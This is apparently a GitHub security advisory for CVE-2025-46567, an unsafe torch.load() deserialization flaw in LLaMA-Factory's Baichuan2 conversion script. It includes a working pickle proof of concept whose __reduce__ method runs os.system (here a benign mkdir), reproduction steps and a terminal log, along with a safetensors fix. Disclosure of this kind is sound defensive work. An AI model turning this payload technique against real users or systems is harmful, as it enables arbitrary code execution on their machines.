Arbitrary Code Execution via Unsafe Deserialization in llamafy_baichuan2.py

Moderate **hiyouga** published **GHSA-f2f7-gj54-6vpv** last week

Package	Affected versions	Patched versions
scripts/convert_ckpt/llamafy_baichuan2.py (git clone(recommended by developers))	0.9.2	1.0.0

Description

Description

A critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.

Attack Vector

This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:

1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.

No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`.

Impact

- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments

Severity

Moderate 6.1 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	Low
Availability	Low

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L

CVE ID

CVE-2025-46567

Weaknesses

CWE-502

Credits

Anchor0221 Reporter

xhjy2020 Reporter

Proof of Concept (PoC)

```python
# malicious_payload.py
import torch, pickle, os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))  # Arbitrary command

malicious_data = {
    "v_head.summary.weight": MaliciousPayload(),
    "v_head.summary.bias": torch.randn(10)
}

with open("value_head.bin", "wb") as f:
    pickle.dump(malicious_data, f)
```

An example of `config.json`:

```
{
  "model": "value_head.bin",
  "hidden_size": 4096,
  "num_attention_heads": 32,
  "num_hidden_layers": 24,
  "initializer_range": 0.02,
  "intermediate_size": 11008,
  "max_position_embeddings": 4096,
  "kv_channels": 128,
  "layer_norm_epsilon": 1e-5,
  "tie_word_embeddings": false,
  "vocab_size": 151936
}
```

```
(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
    |-- LICENSE
    |-- README.md
    |-- malicious_folder
    |   |-- config.json
    |   `-- value_head.bin
    `-- xxxxx(Irrelevant documents omitted)
```

```
# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./
```

➡️ Running this will execute the malicious payload and create a `HACKED!` folder.

```
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# 
CITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_
```

```
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/
WARNING: All log messages before absl::InitializeLog() is called are
E0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to reg
E0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to re
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_gu
To enable the following instructions: AVX2 FMA, in other operations,
Load weights:  50%|
Traceback (most recent call last):
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt
    fire.Fire(llamafy_baichuan2)
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py",
    component_trace = _Fire(component, args, parsed_flag_args, contex
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py",
    component, remaining_args = _CallAndUpdateTrace(
                                ^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py",
    component = fn(*varargs, **kwargs)
                ^^^^^^^^^^^^^^^^^^^^^
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt
    save_weight(input_dir, output_dir, shard_size, save_safetensors)
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt
    shard_weight = torch.load(os.path.join(input_dir, filepath), map_
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serializa
    return _legacy_load(opened_file, map_location, pickle_module, **p
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serializa
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
 CITATION.cff   LICENSE       Makefile    README_zh.md   data     eva
'HACKED!'       MANIFEST.in   README.md   assets         docker   exa
```

Affected File(s)

- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35
- `scripts/convert_ckpt/llamafy_baichuan2.py`
- Line: `torch.load(os.path.join(input_dir, filepath), map_location="cpu")`

Suggested Fix

- Replace `torch.load()` with safer alternatives like `safetensors`.
- Validate and whitelist file types before deserialization.
- Require checksum validation.

Example patch:

```
# Replace torch.load() with safe deserialization
try:
    from safetensors.torch import load_file
```

```
        tensor_data = load_file(filepath)
    except Exception:
        print("Invalid or unsafe checkpoint file.")
        return
```

Workarounds

- Avoid running the script with untrusted `.bin` files.
- Use containers or VMs to isolate script execution.

References

- torch.load() — PyTorch Docs
- CWE-502: Deserialization of Untrusted Data

Credits

Discovered and reported by Yu Rong and Hao Fan, 2025-04-23